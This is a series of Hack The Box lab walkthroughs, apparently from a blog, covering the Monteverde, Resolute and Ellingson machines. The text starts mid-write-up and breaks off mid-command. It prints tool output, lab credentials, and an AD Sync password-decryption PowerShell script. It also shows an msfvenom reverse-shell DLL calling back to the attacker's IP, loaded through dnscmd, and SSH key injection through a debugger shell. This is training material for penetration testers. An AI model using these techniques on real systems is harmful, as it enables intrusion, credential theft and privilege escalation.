Name: svc-bexec Desc: (null)index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)user:[Guest] rid:[0x1f5]user:[AAD_987d7f2f57d2] rid:[0x450]user:[mhope] rid:[0x641]user:[SABatchJobs] rid:[0xa2a]user:[svc-ata] rid:[0xa2b]user:[svc-bexec] rid:[0xa2c]user:[svc-netapp] rid:[0xa2d]user:[dgalanos] rid:[0xa35]user:[roleary] rid:[0xa36]user:[smorgan] rid:[0xa37] =========================================| Share Enumeration on 10.10.10.172 | ========================================= Sharename Type Comment --------- ---- -------SMB1 disabled -- no workgroup available[+] Attempting to map shares on 10.10.10.172 ====================================================| Password Policy Information for 10.10.10.172 | ==================================================== [+] Attaching to 10.10.10.172 using a NULL share[+] Trying protocol 445/SMB...[+] Found domain(s): [+] MEGABANK [+] Builtin[+] Password Info for Domain: MEGABANK [+] Minimum password length: 7 [+] Password history length: 24 [+] Maximum password age: 41 days 23 hours 53 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: 1 day 4 minutes [+] Reset Account Lockout Counter: 30 minutes [+] Locked Account Duration: 30 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: Not Set[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 7 ==============================| Groups on 10.10.10.172 | ============================== [+] Getting builtin groups:group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]group:[Incoming Forest Trust Builders] rid:[0x22d]group:[Windows Authorization Access Group] rid:[0x230]group:[Terminal Server License Servers] rid:[0x231]group:[Users] rid:[0x221]group:[Guests] rid:[0x222]group:[Remote Desktop Users] rid:[0x22b]group:[Network Configuration Operators] rid:[0x22c]group:[Performance Monitor Users] rid:[0x22e]group:[Performance Log Users] rid:[0x22f]group:[Distributed COM Users] rid:[0x232]group:[IIS_IUSRS] rid:[0x238]group:[Cryptographic Operators] rid:[0x239]group:[Event Log Readers] rid:[0x23d]group:[Certificate Service DCOM Access] rid:[0x23e]group:[RDS Remote Access Servers] rid:[0x23f]group:[RDS Endpoint Servers] rid:[0x240]group:[RDS Management Servers] rid:[0x241]group:[Hyper-V Administrators] rid:[0x242]group:[Access Control Assistance Operators] rid:[0x243]group:[Remote Management Users] rid:[0x244]group:[Storage Replica Administrators] rid:[0x246][+] Getting builtin group memberships:Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDsGroup 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDsGroup 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDsGroup 'Guests' (RID: 546) has member: Couldn't lookup SIDsGroup 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDsGroup 'Users' (RID: 545) has member: Couldn't lookup SIDs ``` I did not limit the output of either of these tools, and as you can see enum4linux contained a lot of information! Including a list of user names. I moved foeard with impacket’s samrdump.py tool. There is a more detailed article which can be found [here](https://www.hackingarticles.in/impacket-guide-smb-msrpc/). Impacket’s samrdump.py targets Windows Security Account Manager (SAM) to retrieve sensative information about the target. Samrdump.py lists out all the system shares, user accounts and other possible information about the target. ``` 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109python samrdump.py 10.10.10.172Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation [*] Retrieving endpoint list from 10.10.10.172Found domain(s): . MEGABANK . Builtin [*] Looking up users in domain MEGABANK Found user: Guest, uid = 501 Found user: AAD_987d7f2f57d2, uid = 1104Found user: mhope, uid = 1601 Found user: SABatchJobs, uid = 2602 Found user: svc-ata, uid = 2603 Found user: svc-bexec, uid = 2604Found user: svc-netapp, uid = 2605Found user: dgalanos, uid = 2613 Found user: roleary, uid = 2614 Found user: smorgan, uid = 2615Guest (501)/FullName: Guest (501)/UserComment: Guest (501)/PrimaryGroupId: 514 Guest (501)/BadPasswordCount: 0 Guest (501)/LogonCount: 0 Guest (501)/PasswordLastSet: Guest (501)/PasswordDoesNotExpire: True Guest (501)/AccountIsDisabled: True Guest (501)/ScriptPath:AAD_987d7f2f57d2 (1104)/FullName: AAD_987d7f2f57d2AAD_987d7f2f57d2 (1104)/UserComment: AAD_987d7f2f57d2 (1104)/PrimaryGroupId: 513AAD_987d7f2f57d2 (1104)/BadPasswordCount: 1AAD_987d7f2f57d2 (1104)/LogonCount: 9AAD_987d7f2f57d2 (1104)/PasswordLastSet: 2020-01-02 16:53:24.984897AAD_987d7f2f57d2 (1104)/PasswordDoesNotExpire: TrueAAD_987d7f2f57d2 (1104)/AccountIsDisabled: FalseAAD_987d7f2f57d2 (1104)/ScriptPath: mhope (1601)/FullName: Mike Hope mhope (1601)/UserComment: mhope (1601)/PrimaryGroupId: 513 mhope (1601)/BadPasswordCount: 0 mhope (1601)/LogonCount: 2 mhope (1601)/PasswordLastSet: 2020-01-02 17:40:05.908924mhope (1601)/PasswordDoesNotExpire: True mhope (1601)/AccountIsDisabled: False mhope (1601)/ScriptPath:SABatchJobs (2602)/FullName: SABatchJobs [71/354]SABatchJobs (2602)/UserComment:SABatchJobs (2602)/PrimaryGroupId: 513SABatchJobs (2602)/BadPasswordCount: 0SABatchJobs (2602)/LogonCount: 0SABatchJobs (2602)/PasswordLastSet: 2020-01-03 06:48:46.392235SABatchJobs (2602)/PasswordDoesNotExpire: TrueSABatchJobs (2602)/AccountIsDisabled: FalseSABatchJobs (2602)/ScriptPath:svc-ata (2603)/FullName: svc-atasvc-ata (2603)/UserComment:svc-ata (2603)/PrimaryGroupId: 513svc-ata (2603)/BadPasswordCount: 0svc-ata (2603)/LogonCount: 0 svc-ata (2603)/PasswordLastSet: 2020-01-03 06:58:31.332169svc-ata (2603)/PasswordDoesNotExpire: Truesvc-ata (2603)/AccountIsDisabled: Falsesvc-ata (2603)/ScriptPath:svc-bexec (2604)/FullName: svc-bexecsvc-bexec (2604)/UserComment:svc-bexec (2604)/PrimaryGroupId: 513svc-bexec (2604)/BadPasswordCount: 0svc-bexec (2604)/LogonCount: 0svc-bexec (2604)/PasswordLastSet: 2020-01-03 06:59:55.863422svc-bexec (2604)/PasswordDoesNotExpire: Truesvc-bexec (2604)/AccountIsDisabled: Falsesvc-bexec (2604)/ScriptPath:svc-netapp (2605)/FullName: svc-netapp svc-netapp (2605)/UserComment:svc-netapp (2605)/PrimaryGroupId: 513svc-netapp (2605)/BadPasswordCount: 0svc-netapp (2605)/LogonCount: 0svc-netapp (2605)/PasswordLastSet: 2020-01-03 07:01:42.786264svc-netapp (2605)/PasswordDoesNotExpire: Truesvc-netapp (2605)/AccountIsDisabled: Falsesvc-netapp (2605)/ScriptPath:dgalanos (2613)/FullName: Dimitris Galanosdgalanos (2613)/UserComment:dgalanos (2613)/PrimaryGroupId: 513dgalanos (2613)/BadPasswordCount: 0dgalanos (2613)/LogonCount: 0dgalanos (2613)/PasswordLastSet: 2020-01-03 07:06:10.519660dgalanos (2613)/PasswordDoesNotExpire: True dgalanos (2613)/AccountIsDisabled: Falsedgalanos (2613)/ScriptPath:roleary (2614)/FullName: Ray O'Learyroleary (2614)/UserComment:roleary (2614)/PrimaryGroupId: 513roleary (2614)/BadPasswordCount: 0roleary (2614)/LogonCount: 0roleary (2614)/PasswordLastSet: 2020-01-03 07:08:05.832167 roleary (2614)/PasswordDoesNotExpire: Trueroleary (2614)/AccountIsDisabled: Falseroleary (2614)/ScriptPath:smorgan (2615)/FullName: Sally Morgansmorgan (2615)/UserComment: smorgan (2615)/PrimaryGroupId: 513smorgan (2615)/BadPasswordCount: 0smorgan (2615)/LogonCount: 0smorgan (2615)/PasswordLastSet: 2020-01-03 07:09:21.629084 smorgan (2615)/PasswordDoesNotExpire: Truesmorgan (2615)/AccountIsDisabled: Falsesmorgan (2615)/ScriptPath: [*] Received 10 entries. ``` Again, a ton of output! This got to my first wall of the machine. It took me quite some time to figure out, that through bad administrator practices, sometimes passwords are set the same as account names. I began trying to connect with rpcclient with a service account name, and the name as a password. Rpcclient is a tool for executing client-side Microsoft Remote Procedure Call (RPC) functions. Initially, RPC was used to create Windows client/server model in Windows NT. It is still available for use in current Windows systems. ``` 123rpcclient -U "MEGABANK\SABatchJobs" 10.10.10.172Enter MEGABANK\SABatchJobs's password: SABatchJobsrpcclient $> ``` And with that, I was now logged in. One of my favorite guides to enumerate RPC can be locaed from a SANS guide, located [here](https://www.sans.org/blog/plundering-windows-account-info-via-authenticated-smb-sessions/). Using this guide, I used a lookupnames call for the users, and mhope returned some information about a Home Drive: ``` 1234567891011121314151617181920212223242526272829rpcclient $> lookupnames mhopemhope S-1-5-21-391775091-850290835-3566037492-1601 (User: 1)rpcclient $> queryuser 1601 User Name : mhope Full Name : Mike Hope Home Drive : \\monteverde\users$\mhope Dir Drive : H: Profile Path: Logon Script: Description : Workstations: Comment : Remote Dial : Logon Time : Fri, 31 Jan 2020 10:18:59 CST Logoff Time : Wed, 31 Dec 1969 18:00:00 CST Kickoff Time : Wed, 13 Sep 30828 21:48:05 CDT Password last set Time : Thu, 02 Jan 2020 17:40:06 CST Password can change Time : Fri, 03 Jan 2020 17:40:06 CST Password must change Time: Wed, 13 Sep 30828 21:48:05 CDT unknown_2[0..31]... user_rid : 0x641 group_rid: 0x201 acb_info : 0x00000210 fields_present: 0x00ffffff logon_divs: 168 bad_password_count: 0x00000000 logon_count: 0x00000002 padding1[0..7]... logon_hrs[0..21]... ``` And again, I used another tool to attempt to connect to this remote home directory! I used another common enumeration tool, smbclient. Smbclient is a tool that can be viewed as similar to FTP on a local network. It connects to a local resource to access the SMB/CIFS resources on a remote computer. The SMB/CIFS is Server Message Block/Common Internet File System resource. Using smbclient, I used the same login information for rpcclient to login to smbclient: ``` 12345678910111213smbclient \\\\10.10.10.172\\users$ -U MEGABANK/SABatchJobsEnter MEGABANK\SABatchJobs's password: SABatchJobsTry "help" to get a list of possible commands.smb: \> ls . D 0 Fri Jan 3 07:12:48 2020 .. D 0 Fri Jan 3 07:12:48 2020 dgalanos D 0 Fri Jan 3 07:12:30 2020 mhope D 0 Fri Jan 3 07:41:18 2020 roleary D 0 Fri Jan 3 07:10:30 2020 smorgan D 0 Fri Jan 3 07:10:24 2020 524031 blocks of size 4096. 519955 blocks available ``` I can connect, and I also see a list of possible directories. I manually enumerated these directories, and when I viewed mhope’s, I found an xml file: ``` 123456smb: \mhope\> ls . D 0 Fri Jan 3 07:41:18 2020 .. D 0 Fri Jan 3 07:41:18 2020 azure.xml AR 1212 Fri Jan 3 07:40:23 2020 524031 blocks of size 4096. 519955 blocks available ``` I then use the get command to download the xml: ``` 12smb: \mhope\> get azure.xmlgetting file \mhope\azure.xml of size 1212 as azure.xml (7.1 KiloBytes/sec) (average 7.1 KiloBytes/sec) ``` Once on my computer, I quickly found a password available for mhope: ``` 12345678910111213141516cat azure.xml Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential System.Object Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential
2020-01-03T05:35:00.7562298-08:00
2054-01-03T05:35:00.7562298-08:00
00000000-0000-0000-0000-000000000000 4n0therD4y@n0th3r$ ``` And with that, I had user credentials! As I always do, once I have credentials on a Windows machine I attempted to login with [Evil-WinRM](https://github.com/Hackplayers/evil-winrm). This is an evil implenetation of the Windows Remote Management tool. It allows attackers to log into computers and provides a lot of features for testers to use, including the ability to quickly upload and download files. I logged in, and was able to own user on the box: ``` 123456789101112131415161718evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$*Evil-WinRM* PS C:\Users\mhope\Documents> whoamimegabank\mhope*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..\Desktop*Evil-WinRM* PS C:\Users\mhope\Desktop> ls Directory: C:\Users\mhope\DesktopMode LastWriteTime Length Name---- ------------- ------ -----ar--- 1/3/2020 5:48 AM 32 user.txt*Evil-WinRM* PS C:\Users\mhope\Desktop> more user.txt4961976bd7d8f4exxxxxxxxxxxxxxxx ``` Now that I have owned user, time to move onto root. I used [Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS), also known as JAWS. This is another go-to tool for CTF style machines, to quickly identify escelation paths. When I ran the script on Monteverde, I found in part of the output, that there were some interesting recently modified files: ``` 12345678910111213----------------------------------------------------------- 10 Last Modified Files in C:\User-----------------------------------------------------------C:\Users\mhope\.Azure\AzurePSDataCollectionProfile.jsonC:\Users\mhope\.AzureC:\Users\mhope\.Azure\ErrorRecordsC:\Users\mhope\.Azure\ErrorRecords\New-AzADServicePrincipal_2020-01-03-T05-35-17-334.logC:\Users\mhope\.Azure\AzureRmContext.jsonC:\Users\mhope\.Azure\TokenCache.datC:\Users\mhope\DesktopC:\Users\mhope\Desktop\user.txtC:\Users\mhope\DocumentsC:\Users\mhope\Documents\jaws.ps1 ``` The fact that there were Azure files in the home directory had me begin looking at what was installed on the box. Looking in the “C:\Program Files (x86)” directory, there is the Azure AD Sync tool installed. Looking at this as a possible privilege escalation path, I did some Google-Fu and discovered this article to better understand the tool: . Furthering my invrstigation, I then found a POC of a way to decrypt the username and password for this tool, very cool! The script can be found at . However, there was some tweaking that needed to be done to the script for it to run: ``` 123456789101112131415161718192021222324252627282930313233343536$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=.;Initial Catalog=ADSync;trusted_connection=true;"$client.Open()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$key_id = $reader.GetInt32(0)$instance_id = $reader.GetGuid(1)$entropy = $reader.GetGuid(2)$reader.Close()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$config = $reader.GetString(0)$crypted = $reader.GetString(1)$reader.Close()add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager$km.LoadKeySet($entropy, $instance_id, $key_id)$key = $null$km.GetActiveCredentialKey([ref]$key)$key2 = $null$km.GetKey(1, [ref]$key2)$decrypted = $null$key2.DecryptBase64ToString($crypted, [ref]$decrypted)$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}Write-Host ("Domain: " + $domain.Domain)Write-Host ("Username: " + $username.Username)Write-Host ("Password: " + $password.Password) ``` And with my script ready, I had to transfer it to Monteverde. In the directory that the azure\_decrypt\_msol.ps1 script was located in, I spun up a quick python web server. Once hosted, on Monteverde I downloaded the file with PowerShell, and ran the script: ``` 12345*Evil-WinRM* PS C:\Users\mhope\Documents> invoke-webrequest -uri http://10.10.14.13/azure_decrypt_msol.ps1 -outfile azureread_cred.ps1*Evil-WinRM* PS C:\Users\mhope\Documents> ./azureread_cred.ps1Domain: MEGABANK.LOCALUsername: administratorPassword: d0m@in4dminyeah! ``` And finally, now that I had administrator credentials, I logged in with Evil-WinRM and rooted monteverde! ``` 1234567891011121314151617181920evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!Evil-WinRM shell v2.1Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls Directory: C:\Users\Administrator\DesktopMode LastWriteTime Length Name---- ------------- ------ -----ar--- 1/3/2020 5:48 AM 32 root.txt*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt12909612d25c8xxxxxxxxxxxx ``` # HTB Resolute Walkthrough HTB Resolute Walkthrough (nanobyte) Jun 2, 2020 | nanobyte In this walkthrough, I will take you through the steps of what I performed to root this machine from Hack the Box penetration testing labs. This was a Windows based OS that was rated as a medium difficulty. To begin, I started with my enumeration of the target machine: ``` 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576nmap -sV -sC -O -p- 10.10.10.169Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 08:19 CSTNmap scan report for resolute.htb (10.10.10.169)Host is up (0.035s latency).Not shown: 65511 closed portsPORT STATE SERVICE VERSION53/tcp open domain?88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-12 14:34:56Z) 135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49671/tcp open msrpc Microsoft Windows RPC49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049677/tcp open msrpc Microsoft Windows RPC49688/tcp open msrpc Microsoft Windows RPC49957/tcp open msrpc Microsoft Windows RPC60579/tcp open tcpwrapped No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint:OS:SCAN(V=7.80%E=4%D=12/12%OT=53%CT=1%CU=40312%PV=Y%DS=2%DC=I%G=Y%TM=5DF24EOS:E8%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=2%ISR=109%CI=I%TS=A)SEQ(SP=101%GOS:CD=1%ISR=109%CI=I%II=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8OS:NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2OS:000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%QOS:=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=OS:AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%TOS:=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=OS:0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=OS:Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)Network Distance: 2 hopsService Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean: 2h47m40s, deviation: 4h37m09s, median: 7m39s| smb-os-discovery:| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)| Computer name: Resolute| NetBIOS computer name: RESOLUTE\x00| Domain name: megabank.local| Forest name: megabank.local| FQDN: Resolute.megabank.local|_ System time: 2019-12-12T06:36:03-08:00| smb-security-mode:| account_used: | authentication_level: user| challenge_response: supported|_ message_signing: required| smb2-security-mode:| 2.02:|_ Message signing enabled and required| smb2-time:| date: 2019-12-12T14:36:02|_ start_date: 2019-12-12T04:11:37OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 622.36 seconds ``` I also ran enum4linux, which is a powerful tool that can be used against Windows based machines to enumerate and pull information from the target using SAMBA. SAMBA is a implementation of the server message block (SMB) networking protocol which offers file and print services on a Windows machine. To find this information using enum4linux, I ran it with `-a` option, to perform all simple enumeration against my target: ``` 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647enum4linux -a 10.10.10.169Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 29 12:15:48 2019 ==========================| Target Information | ==========================Target ........... resolute.htbRID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none... =============================| Users on resolute.htb | =============================index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/dom>index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domainindex: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Accountindex: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)... ``` I did go ahead and limit the output from the machine, since there was a ton of output. However, I left the entire output of users found on the box. When I looked over these results, I did discover that there was a set of credentials, marko:Welcome123!. The exclamation point is a part of the password. Now that I had credentials, I began looking for where I could use them. One of my first go to tools is [evil-winrm](https://github.com/Hackplayers/evil-winrm). This is an evil implementation of the WinRM, or Windows Remote Management. It has a ton of features, and should be ready for use, especially with Hack the Box. I attempted to login to Resulute with these credentials: ``` 1evil-winrm -i 10.10.10.169 -p Welcome123! -u marko ``` And it failed! However, many times when new accounts are created, they are setup with a standard default password. So, I began to use this password against all user accounts which were discovered in the enum4linux enumeration, and found that this password did work for an account, melanie: ``` 1evil-winrm -i 10.10.10.169 -p Welcome123! -u melanie ``` Awesome! I was now able to log into the machine. Now, I began enumerating the box manually. I found that in the root of C:\\, there was a PSTranscripts directory. Enumerating within this directory, I discovered another set of credentials: ``` 123456789cat C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt...PS>CommandInvocation(Invoke-Expression): "Invoke-Expression">> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!... ``` Now using these credentials, ryan:Serv3r4Admin4cc123!, I opened a new terminal windows and used Evil-WinRM to log in as Ryan: ``` 1evil-winrm -i 10.10.10.169 -p Serv3r4Admin4cc123! -u ryan ``` Again, I began to manually enumerate the machine. I began by looking over what rights I had as this user, and by running a simple `whoami /all` command, I discovered I was a part of a very interesting group: ``` 1234567*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all...MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group... ``` I was logged in as a member of DNS Admins! Doing some Google-Fu, I came across this [Medium](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83) article to escelate my privileges. First, on my Kali machine, I used msfvenom to create a malicious DLL to inject onto the machine: ``` 1msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.13 LPORT=9001 -f dll > shell.dll ``` I then used impacket’s smb-server to host the newly created DLL, to run from Resolute. [Impacket](https://github.com/SecureAuthCorp/impacket) is another tool that will be used a ton on Hack the Box, and should be on your Kali machine. Impacket is a set of Python classes for working with network protocols, and is a great tool to learn for penetration testing. To spawn this smb-server, from the Impacket examples directory: ``` 1impacket-smbserver test /root/Desktop/HTB/Resolute/ ``` And now that the DLL is hosted over SMB, before I can run the attack I have to setup my listener on my Kali box: ``` 1nc -nlvp 9001 ``` I then used dnscmd.exe on Resolute to setup the config to run my malicious DLL, thus returning a privileged shell: ``` 1*Evil-WinRM* PS C:\Windows> dnscmd.exe /config /serverlevelplugindll \\10.10.14.13\\test\\shell.dll ``` All I needed to do was call the Resolute machine to stop and start the process: ``` 12*Evil-WinRM* PS C:\Windows> sc.exe stop dns*Evil-WinRM* PS C:\Windows> sc.exe start dns ``` And I got a return on my nc listener: ``` 123456789C:\Windows\system32>whoamiwhoamint authority\systemC:\Windows\system32>cd c:\users\administrator\desktopcd c:\users\administrator\desktopc:\Users\Administrator\Desktop>more root.txte1d94876a50685xxxxxxxxxxxxxx ``` And with that, I had rooted Resolute! Good luck. # HTB Ellingson Walkthrough HTB Ellingson Walkthrough (Nanobyte) Oct 22, 2019 | nanobyte Ellingson was an awesome box to root! Not only did I get to sharpen some of my ROP skills, but the throwback to one of my favorite movies (Hackers) was a treat from beginning to root. For those of you who have not seen the 1995 film Hackers, go watch it! This box was also awesome because getting the initial foothold was not the average run this exploit, or find these credentials. I really had to think out of the box (get it?) since I am still so new to hacking. So, lets get started! First off, I ran nmap against the box: ``` 1234567891011121314nmap -sV -sC -p- -oA ellingson.htb 10.10.10.139Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-22 10:15 CDTNmap scan report for 10.10.10.139Host is up (0.066s latency).Not shown: 998 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.14.0 (Ubuntu)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port ggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)No exact OS matches for host (test conditions non-ideal).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 16.92 seconds ``` Once I was able to identify what services were running, I hopped on over to the website and began to poke around while running gobuster. When I got to the /articles/ directory, I noticed the numbers incremented and so I manually “fuzzed”. I did this by simply adding iterations of numbers after the /articles/ directory, until I got to 5. Once on I was able to find python debugger shells. ``` 123456File "/opt/corp-web/run.py", line 32, in show_articlesslug = articles[index-1]>>> import getpass>>> print(getpass.getuser())hal ``` Nice! I found I have the ability to run os system commands. During initial enumeration, I found that there is Port 22 open. First, I tried to steal the SSH key, but I did not know the key passphrase so connection was refused. However, looking further, I can write to the authorized\_keys file. So, I generated a new SSH RSA key, and placed my pub key in authorized\_keys: ``` 123import osos.system("echo '\nssh-rsa [your RSA key]' >> /home/hal/.ssh/authorized_keys") ``` And now I can login to SSH. Awesome, initial foothold gained! Now that we have SSH, completing further enumeration I found I was user Hal, and needed to escelate to user. Enumerating the system, there is a backup folder in /var/. In there, I have read permissions to shadow\.bak!? Bad admin! ``` 1234567891011121314151617181920212223242526272829303132333435cat 